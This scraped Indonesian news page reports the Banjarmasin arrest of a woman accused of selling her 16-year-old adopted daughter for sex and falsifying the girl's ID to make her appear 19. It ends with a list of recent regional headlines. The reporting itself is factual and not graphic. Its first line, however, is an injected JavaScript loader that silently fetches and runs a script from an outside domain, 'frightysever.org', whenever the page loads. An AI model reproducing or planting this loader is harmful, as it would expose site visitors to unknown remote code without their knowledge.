(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

Ibu Tega Jual Anak Angkat, “Ditawarkan” Hingga Rp1 Juta!


BANJARMASIN, Jajaran Satreskrim Polresta Banjarmasin berhasil menggagalkan upaya perdagangan manusia, berhasil diungkap pada Rabu (9/10) kemarin.

Diketahui, seorang ibu paruh baya berinisial E (57), warga Jalan Sungai Mesa Gang 2 Banjarmasin, tega menjual anak angkatnya yang berinsial DI (16). E sendiri, diamankan aparat kepolisian di kawasan Pasar Sudimampir Banjarmasin.

“Kita mendapatkan laporan dari masyarakat bahwa pelaku sering menjual anaknya. Yang bersangkutan mengaku sebagai ibu angkat,” kata Kasatreskrim Polresta Banjarmasin AKP Ade Papa Rihi dalam keterangan persnya, Kamis (10/10) siang.

AKP Ade menegaskan, anak yang dijual oleh pelaku E bukanlah anak kandung. Melainkan adalah anak angkat yang sejak kecil telah ditanggung biaya hidupnya. “Sudah tinggal bersama dia semenjak kecil,” tegasnya.

Pelaku E sendiri, setelah dicurigai gerak geriknya, dilaporkan masyarakat ke Polsek Banjarmasin Utara dan berkoordinasi dengan Satreskrim di bawah Unit PPA. “Setelah kita lakukan pemeriksaan, bahwa dia menjual anaknya sejak 2 tahun lalu semenjak anak ini berusia 14 tahun,” kata AKP Ade.

Modusnya, E menjual DI kepada laki-laki hidung belang dengan tarif antara Rp250 ribu hingga Rp1 juta. Selain itu, E juga diketahui memanipulasi KTP milik DI untuk mengecoh aparat Satpol PP Kota Banjarmasin jika ada pemeriksaan.

“Dia bekerjasama dengan calo pembuatan KTP dan masih didalami, jadi usia DI yang tadinya 16 tahun dibuat usianya naik jadi 19 tahun atau dituakan,” ungkapnya.

Adapun pasal yang dikenakan kepada pelaku E, yaitu pasal 2 ayat 1 UU Nomor 21 Tahun 2007 tentang Pemberantasan Perdagangan Orang dan Pasal 83 UU Nomor 35 Tahun 2014 tentang Perlindungan Anak. “Ancaman pidana paling singkat 3 tahun dan paling lama 15 tahun,” tutup AKP Ade. (fikri)

Reporter : Fikri
Editor : Bie


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.